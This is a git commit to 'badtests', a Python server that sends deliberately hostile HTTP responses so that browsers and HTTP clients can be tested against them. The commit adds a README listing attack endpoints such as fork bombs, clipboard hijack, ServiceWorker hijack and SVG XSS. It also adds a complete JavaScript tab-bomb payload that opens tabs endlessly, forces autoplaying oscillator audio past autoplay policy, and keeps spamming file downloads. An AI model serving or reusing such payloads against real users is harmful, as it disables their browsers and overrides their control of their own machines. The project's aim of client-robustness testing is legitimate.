added browser hell test
This commit is contained in:
69
README.md
Normal file
69
README.md
Normal file
@@ -0,0 +1,69 @@
|
||||
# badtests
|
||||
|
||||
A malicious HTTP response server for testing how different clients handle broken, malformed, and abusive HTTP responses. The goal is to compare how curl, Python HTTP libraries (urllib, http.client, requests, aiohttp), and web browsers react to protocol violations, edge cases, and deliberately hostile payloads.
|
||||
|
||||
## What it does
|
||||
|
||||
`badtests.py` is a single-file HTTP server with 81 test endpoints. Each one returns a deliberately broken or abusive response targeting a specific aspect of HTTP handling. Categories include:
|
||||
|
||||
- Content-Length violations (words, negatives, floats, NaN, mismatches)
|
||||
- Content-Type abuse (garbage, null bytes, emoji MIME types, CRLF injection)
|
||||
- Invalid status codes (negative, zero, five-digit, non-numeric)
|
||||
- Header abuse (64KB names, 1MB values, 1000 headers, duplicate Content-Length, null bytes)
|
||||
- Body abuse (infinite streams, missing bodies, binary as text/html)
|
||||
- Transfer-Encoding smuggling (CL+TE conflicts, invalid chunk sizes)
|
||||
- Protocol violations (raw garbage, empty responses, unknown HTTP versions)
|
||||
- Encoding mismatches (UTF-16 body with UTF-8 header, fake gzip)
|
||||
- Redirect abuse (self-loops, garbage URLs, infinite unique chains)
|
||||
- Timing attacks (slowloris headers, slow-drip bodies)
|
||||
- HTML edge cases (UTF-16LE pages, 1000-char titles, meta refresh loops)
|
||||
- Terminal abuse (ANSI escape code injection)
|
||||
- JavaScript browser attacks (alert loops, fork bombs, GPU killers, audio hell, tab bombs, clipboard hijack, cookie bombs, download spam, popup storms, ServiceWorker hijack)
|
||||
- Image/file abuse (bait-and-switch, SVG XSS, GIF/JS polyglots)
|
||||
- Network abuse (gzip bombs, SSE floods, MIME sniffing, cache poisoning, HSTS bombs)
|
||||
|
||||
The server also includes a `/logs` page that records every request with full headers, and a `/fingerprint` page for browser fingerprinting.
|
||||
|
||||
## Running it
|
||||
|
||||
Start the server:
|
||||
|
||||
```
|
||||
python3 badtests.py
|
||||
```
|
||||
|
||||
It listens on port 60666. Open `http://localhost:60666/` in a browser to see the full index of tests, or hit endpoints directly with curl.
|
||||
|
||||
## Testing
|
||||
|
||||
`test.sh` runs every endpoint through curl and captures the output:
|
||||
|
||||
```
|
||||
./test.sh localhost:60666
|
||||
```
|
||||
|
||||
`test.py` runs every endpoint through urllib, http.client, requests, and aiohttp:
|
||||
|
||||
```
|
||||
python3 test.py
|
||||
```
|
||||
|
||||
Both scripts have timeouts and output caps to prevent hanging on infinite streams.
|
||||
|
||||
## Results
|
||||
|
||||
- [RESULTS.md](RESULTS.md) - Full writeup comparing how each client handled every test
|
||||
- [results_curl.txt](results_curl.txt) - Raw curl test output
|
||||
- [results_python.txt](results_python.txt) - Raw Python library test output
|
||||
|
||||
## Files
|
||||
|
||||
| File | Description |
|
||||
|------|-------------|
|
||||
| `badtests.py` | The server. Single file, no dependencies beyond Python 3 stdlib. |
|
||||
| `test.sh` | Bash script to test all endpoints with curl. |
|
||||
| `test.py` | Python script to test all endpoints with urllib, http.client, requests, aiohttp. |
|
||||
| `RESULTS.md` | Detailed results and analysis of client behavior differences. |
|
||||
| `results_curl.txt` | Raw curl output from test.sh. |
|
||||
| `results_python.txt` | Raw output from test.py. |
|
||||
|
||||
106
badtests.py
106
badtests.py
@@ -113,6 +113,7 @@ TESTS = [
|
||||
('/js-popup', 'Popup storm (100 windows)', '⚠️ WARNING: Attempts to open 100 popup windows at random positions. Most browsers block after the first.'),
|
||||
('/js-cookie', 'Cookie bomb (3000 cookies)', '🚨 CRITICAL: Sets 3000 cookies. Future requests to this server include ~12MB of Cookie headers. May DoS the server.'),
|
||||
('/js-beforeunload', 'Unescapable page (beforeunload)', '⚠️ WARNING: Traps you with a beforeunload dialog every time you try to leave. Also opens itself in new tabs.'),
|
||||
('/js-tabbomb', 'Tab bomb with audio + downloads', '🚨 CRITICAL: Rapidly opens new tabs in a loop. Each tab auto-plays random oscillator audio with visualizer and spams file downloads. Will overwhelm your browser.'),
|
||||
('/js-serviceworker', 'ServiceWorker hijack', '🚨 CRITICAL: Registers a ServiceWorker that intercepts ALL future requests to this origin and injects content.'),
|
||||
|
||||
# --- Image/File Abuses ---
|
||||
@@ -348,6 +349,110 @@ let tabCount=0;
|
||||
setInterval(()=>{if(tabCount<5){try{window.open(location.href);tabCount++;}catch(e){}}},3000);
|
||||
</script></body></html>'''
|
||||
|
||||
JS_TABBOMB = b'''<!DOCTYPE html><html><head><title>TAB BOMB ACTIVE</title>
|
||||
<style>
|
||||
*{margin:0;padding:0;box-sizing:border-box}
|
||||
body{background:#0d1117;color:#c9d1d9;font-family:monospace;overflow:hidden}
|
||||
h1{color:#f85149;text-align:center;padding:10px;font-size:18px}
|
||||
#stats{color:#d29922;text-align:center;font-size:14px;padding:4px}
|
||||
canvas{display:block;width:100%;height:calc(100vh - 60px)}
|
||||
</style></head><body>
|
||||
<h1>TAB BOMB - OSCILLATOR SCOPE + DOWNLOAD SPAM</h1>
|
||||
<p id="stats">Tabs: 0 | Downloads: 0 | Oscillators: 0</p>
|
||||
<canvas id="scope"></canvas>
|
||||
<script>
|
||||
// --- Auto-play random oscillator audio with scope visualization ---
|
||||
let actx,oscillators=[],analyser,dataArr,canvas,ctx;
|
||||
try{
|
||||
actx=new(window.AudioContext||window.webkitAudioContext)();
|
||||
analyser=actx.createAnalyser();
|
||||
analyser.fftSize=2048;
|
||||
dataArr=new Uint8Array(analyser.frequencyBinCount);
|
||||
let types=['sine','square','sawtooth','triangle'];
|
||||
for(let i=0;i<8;i++){
|
||||
let o=actx.createOscillator(),g=actx.createGain();
|
||||
o.type=types[i%4];
|
||||
o.frequency.value=80+Math.random()*12000;
|
||||
g.gain.value=0.08;
|
||||
o.connect(g);g.connect(analyser);g.connect(actx.destination);
|
||||
o.start();
|
||||
oscillators.push(o);
|
||||
setInterval(()=>{o.frequency.value=80+Math.random()*12000;o.type=types[Math.floor(Math.random()*4)];},30+Math.random()*150);
|
||||
}
|
||||
}catch(e){}
|
||||
|
||||
// Force resume AudioContext (bypass autoplay policy)
|
||||
function forceAudio(){if(actx&&actx.state!=='running')actx.resume();requestAnimationFrame(forceAudio);}
|
||||
forceAudio();
|
||||
// Also try on any user gesture
|
||||
['click','touchstart','keydown','mousemove','scroll'].forEach(evt=>{
|
||||
document.addEventListener(evt,()=>{if(actx&&actx.state!=='running')actx.resume();},{once:false});
|
||||
});
|
||||
|
||||
// --- Oscilloscope visualization ---
|
||||
canvas=document.getElementById('scope');
|
||||
ctx=canvas.getContext('2d');
|
||||
function resize(){canvas.width=window.innerWidth;canvas.height=window.innerHeight-60;}
|
||||
resize();window.onresize=resize;
|
||||
|
||||
let hue=0;
|
||||
function drawScope(){
|
||||
requestAnimationFrame(drawScope);
|
||||
if(!analyser)return;
|
||||
analyser.getByteTimeDomainData(dataArr);
|
||||
ctx.fillStyle='rgba(13,17,23,0.15)';
|
||||
ctx.fillRect(0,0,canvas.width,canvas.height);
|
||||
hue=(hue+0.5)%360;
|
||||
ctx.lineWidth=2;
|
||||
ctx.strokeStyle='hsl('+hue+',100%,60%)';
|
||||
ctx.beginPath();
|
||||
let sl=canvas.width/dataArr.length;
|
||||
for(let i=0;i<dataArr.length;i++){
|
||||
let v=dataArr[i]/128.0,y=v*canvas.height/2;
|
||||
if(i===0)ctx.moveTo(0,y);else ctx.lineTo(i*sl,y);
|
||||
}
|
||||
ctx.stroke();
|
||||
// second pass with frequency data for extra chaos
|
||||
let freqData=new Uint8Array(analyser.frequencyBinCount);
|
||||
analyser.getByteFrequencyData(freqData);
|
||||
ctx.strokeStyle='hsl('+((hue+180)%360)+',100%,50%)';
|
||||
ctx.beginPath();
|
||||
for(let i=0;i<freqData.length;i++){
|
||||
let y=canvas.height-(freqData[i]/255)*canvas.height;
|
||||
if(i===0)ctx.moveTo(0,y);else ctx.lineTo(i*sl,y);
|
||||
}
|
||||
ctx.stroke();
|
||||
}
|
||||
drawScope();
|
||||
|
||||
// --- Tab bomb: rapidly open new tabs ---
|
||||
let tabCount=0,dlCount=0;
|
||||
function bombTabs(){
|
||||
try{window.open(location.href,'_blank');tabCount++;}catch(e){}
|
||||
document.getElementById('stats').textContent='Tabs: '+tabCount+' | Downloads: '+dlCount+' | Oscillators: '+oscillators.length;
|
||||
setTimeout(bombTabs,50+Math.floor(Math.random()*200));
|
||||
}
|
||||
setTimeout(bombTabs,300);
|
||||
|
||||
// --- Download spam loop ---
|
||||
function spamDownloads(){
|
||||
for(let i=0;i<5;i++){
|
||||
try{
|
||||
let a=document.createElement('a');
|
||||
a.href=URL.createObjectURL(new Blob([Math.random().toString(36).repeat(500)]));
|
||||
a.download='bomb_'+Date.now()+'_'+Math.floor(Math.random()*99999)+'.txt';
|
||||
document.body.appendChild(a);a.click();document.body.removeChild(a);
|
||||
dlCount++;
|
||||
}catch(e){}
|
||||
}
|
||||
document.getElementById('stats').textContent='Tabs: '+tabCount+' | Downloads: '+dlCount+' | Oscillators: '+oscillators.length;
|
||||
setTimeout(spamDownloads,200+Math.floor(Math.random()*500));
|
||||
}
|
||||
setTimeout(spamDownloads,500);
|
||||
|
||||
document.title='TAB BOMB #'+Math.floor(Math.random()*99999);
|
||||
</script></body></html>'''
|
||||
|
||||
JS_SERVICEWORKER = '''<!DOCTYPE html><html><head><title>ServiceWorker hijack</title></head><body>
|
||||
<h1>ServiceWorker Registration</h1><p id="s">Attempting to register ServiceWorker...</p>
|
||||
<script>
|
||||
@@ -657,6 +762,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
|
||||
elif p == '/js-popup': self._r(200, {'Content-Type': 'text/html'}, JS_POPUP)
|
||||
elif p == '/js-cookie': self._r(200, {'Content-Type': 'text/html'}, JS_COOKIE)
|
||||
elif p == '/js-beforeunload': self._r(200, {'Content-Type': 'text/html'}, JS_BEFOREUNLOAD)
|
||||
elif p == '/js-tabbomb': self._r(200, {'Content-Type': 'text/html'}, JS_TABBOMB)
|
||||
elif p == '/js-serviceworker':self._r(200, {'Content-Type': 'text/html'}, JS_SERVICEWORKER)
|
||||
# --- Image/File abuses ---
|
||||
elif p == '/img-bait':
|
||||
|
||||
Reference in New Issue
Block a user